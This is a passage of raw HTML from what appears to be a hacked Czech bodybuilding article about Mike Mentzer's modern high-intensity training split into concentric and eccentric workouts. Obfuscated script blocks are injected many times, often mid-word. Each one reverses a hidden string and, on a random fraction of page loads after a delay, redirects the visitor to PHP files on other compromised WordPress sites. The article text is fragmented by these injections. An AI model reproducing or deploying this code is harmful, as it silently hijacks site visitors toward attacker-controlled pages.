$NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to b\u00fdval\u00fd gymnasta a atlet, kter\u00fd vynikal p\u0159edev\u0161\u00edm ve skoku o ty\u010di).<\/p>\n<p>&nbsp;<\/p>\n<p>Mentzer\u016fv tr\u00e9ninkov\u00fd syst\u00e9m \u0161el zcela proti konven\u010dn\u00edm cvi\u010debn\u00edm technik\u00e1m sedmdes\u00e1t\u00fdch let, zam\u011b\u0159oval se v\u00edce na intenzitu ne\u017e na objem. V\u00fdsledky mluv\u00ed za v\u0161e.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>MODERN\u00cd MENTZER\u016eV TR\u00c9NINK<\/strong><\/p>\n<p>KA\u017dD\u00dd ZE \u010cTY\u0158 TR\u00c9NINK\u016e SE SKL\u00c1D\u00c1 ZE Z\u00c1KLADN\u00cdCH S\u00c9RI\u00cd. POT\u00c9, CO ODCVI\u010c\u00cdTE DAN\u00dd PO\u010cET ZAH\u0158\u00cdVAC\u00cdCH S\u00c9RI\u00cd PRVN\u00cdHO CVIKU, ZA\u0158AD\u00cdTE V\u017dDY JEDNU S\u00c9RII O \u0160ESTI A\u017d OSMI OPAKOV\u00c1N\u00cdCH DO VY\u010cERP\u00c1N\u00cd. PAK P\u0158EJD\u011aTE K\u00a0DAL\u0160\u00cdMU CVIKU A OP\u011aT MU V\u011aNUJTE MAXIM\u00c1LN\u00cd \u00daSIL\u00cd. ODPO\u010c\u00cdVAT M\u016e\u017dETE MEZI Z\u00c1KLADN\u00cdMI S\u00c9RIEMI, ALE NIKOLIV MEZI JEDNOTLIV\u00ddMI CVIKY.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-252\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/rozpis-1-300x156.jpg\" alt=\"\" width=\"603\" height=\"314\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/rozpis-1-300x156.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/rozpis-1-768x400.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/rozpis-1-1024x534.jpg 1024w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/rozpis-1-1200x625.jpg 1200w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/rozpis-1.jpg 1689w\" sizes=\"auto, (max-width: 603px) 100vw, 603px\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-253\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/ROZEPSAT-300x206.jpg\" alt=\"\" width=\"580\" height=\"398\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/ROZEPSAT-300x206.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/ROZEPSAT-768x526.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/ROZEPSAT-1024x702.jpg 1024w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/ROZEPSAT-1200x822.jpg 1200w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/ROZEPSAT.jpg 1668w\" sizes=\"auto, (max-width: 580px) 100vw, 580px\" \/><\/p>\n<p><strong>PRO\u010c POST-MODERN\u00cd TECHNIKY FUNGUJ\u00cd<\/strong><\/p>\n<p>Ka\u017ed\u00fd z\u00a0tr\u00e9nink\u016f se skl\u00e1d\u00e1 z n\u011bkolika z\u00e1kladn\u00edch s\u00e9ri\u00ed (v\u00edce s\u00e9ri\u00ed na jednu svalovou partii prov\u00e1d\u011bn\u00fdch bez p\u0159est\u00e1vky). \u201eProgram jsem rozd\u011blil na tr\u00e9ninky A, B, C a D,\u201c \u0159\u00edk\u00e1 Speer. \u201eKrom\u011b drobn\u00fdch odli\u0161nost\u00ed jsou z\u00e1kladn\u00ed s\u00e9rie pro v\u0161echny ty<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to tr\u00e9ninky stejn\u00e9. Hlavn\u00ed rozd\u00edl spo\u010d\u00edv\u00e1 v\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom, \u017ee vych\u00e1z\u00ed z\u00a0r\u016fzn\u00fdch aspekt\u016f vysoko intenzivn\u00edho tr\u00e9ninku (HIT) v\u00a0z\u00e1vislosti na <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom, ve kter\u00e9m konkr\u00e9tn\u00edm tr\u00e9ninku se nach\u00e1zej\u00ed.\u201c<\/p>\n<p>Prim\u00e1rn\u00edm c\u00edlem tr\u00e9nink\u016f A a C je zam\u011b\u0159it se na koncentrickou f\u00e1zi. Koncentrick\u00fd tr\u00e9nink vede do svalov\u00fdch bun\u011bk gluk\u00f3zu a tekutiny, \u010d\u00edm\u017e doch\u00e1z\u00ed k\u00a0dvojit\u00e9mu efektu: k\u00a0n\u00e1r\u016fstu objemu svalu a sou\u010dasn\u011b ke zv\u00fd\u0161en\u00ed hladiny energie. Koncentrick\u00fd tr\u00e9nink napom\u00e1h\u00e1 produkci s\u00edly a umo\u017en\u00ed v\u00e1m cvi\u010dit s\u00a0v\u011bt\u0161\u00edm nasazen\u00edm. Existuj\u00ed d\u016fkazy, \u017ee dokonce zlep\u0161uje inzul\u00ednovou senzitivitu, \u010d\u00edm\u017e podporuje metabolismus tuk\u016f.<\/p>\n<p>Tr\u00e9ninky B a D se zam\u011b\u0159uj\u00ed na excentrickou f\u00e1zi. Mentzer v\u017edy zd\u016fraz\u0148oval, \u017ee se ka\u017ed\u00e9 opakov\u00e1n\u00ed skl\u00e1d\u00e1 ze t\u0159\u00ed f\u00e1z\u00ed: koncentrick\u00e9 nebo-li pozitivn\u00ed, statick\u00e9 a negativn\u00ed, \u010dili excentrick\u00e9. Excentrick\u00e1 f\u00e1ze je nejsiln\u011bj\u0161\u00ed, tzn. posledn\u00ed, v\u00a0n\u00ed\u017e dos\u00e1hnete vy\u010derp\u00e1n\u00ed. Speer k\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu dod\u00e1v\u00e1: \u201eExcentrick\u00e1 f\u00e1ze umo\u017en\u00ed absorbovat a stabilizovat z\u00e1t\u011b\u017e. Pokud t\u011blo nebo sval nejsou schopny absorbovat z\u00e1t\u011b\u017e excentricky, nezvl\u00e1dnete efektivn\u011b ani pohyb koncentrick\u00fd.\u201c<\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-255\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/mentzer2-300x171.jpg\" alt=\"\" width=\"482\" height=\"275\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/mentzer2-300x171.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/mentzer2-768x438.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/mentzer2.jpg 895w\" sizes=\"auto, (max-width: 482px) 100vw, 482px\" \/><\/p>\n<p>Excentrick\u00fd tr\u00e9nink m\u00e1 vliv na r\u016fst sval\u016f. \u201eFascie, m\u011bkk\u00e1 tk\u00e1\u0148, kter\u00e1 obklopuje sval, je limituj\u00edc\u00edm fak<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>torem <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho, do jak\u00e9 m\u00edry m\u016f\u017ee sval r\u016fst. Zam\u011b\u0159en\u00edm na excentrickou f\u00e1zi, zejm\u00e9na v\u00a0posledn\u00edm opakov\u00e1n\u00ed v\u00a0s\u00e9rii, doch\u00e1z\u00ed k\u00a0prota\u017een\u00ed fascie, \u010d\u00edm\u017e je umo\u017en\u011bn v\u011bt\u0161\u00ed pros<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tor pro r\u016fst sval\u016f,\u201c \u0159\u00edk\u00e1 Speer. Abyste ten<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to efekt podpo\u0159ili, doporu\u010duje se, str\u00e1vit del\u0161\u00ed dobu f\u00e1z\u00ed, kdy pokl\u00e1d\u00e1te z\u00e1t\u011b\u017e dol\u016f. Podle Mentzera m\u011bla ta<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to f\u00e1ze trvat \u010dty\u0159i sekundy, v\u00a0modern\u00ed verzi se prodlu\u017euje.<\/p>\n<p>Dal\u0161\u00ed aspekt odli\u0161n\u00fd od\u00a0Mentzerova HIT stylu se t\u00fdk\u00e1 \u010dast\u011bj\u0161\u00edho pou\u017eit\u00ed \u010dinek a kladek. \u201eS ohledem na dne\u0161n\u00ed mo\u017enosti tr\u00e9ninku je d\u00edky <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu mo\u017en\u00e9 l\u00e9pe ovlivnit funk\u010dnost sval\u016f,\u201c \u0159\u00edk\u00e1 Speer. \u201ePrvn\u00ed cvik je prov\u00e1d\u011bn s maxim\u00e1ln\u00ed z\u00e1t\u011b\u017e\u00ed, v\u00a0co nejvy\u0161\u0161\u00edm po\u010dtu opakov\u00e1n\u00ed a <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to s\u00a0\u010dinkou nebo kladkou \u2013 z\u00e1kladn\u00ed my\u0161lenkou je p\u0159edvy\u010derp\u00e1n\u00ed prim\u00e1rn\u00edch a stabiliza\u010dn\u00edch sval\u016f. Nej\u010dast\u011bji <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to b\u00fdvaj\u00ed stabiliz\u00e1<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tory, kter\u00e9 se vy\u010derpaj\u00ed jako prvn\u00ed. Jsou <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return 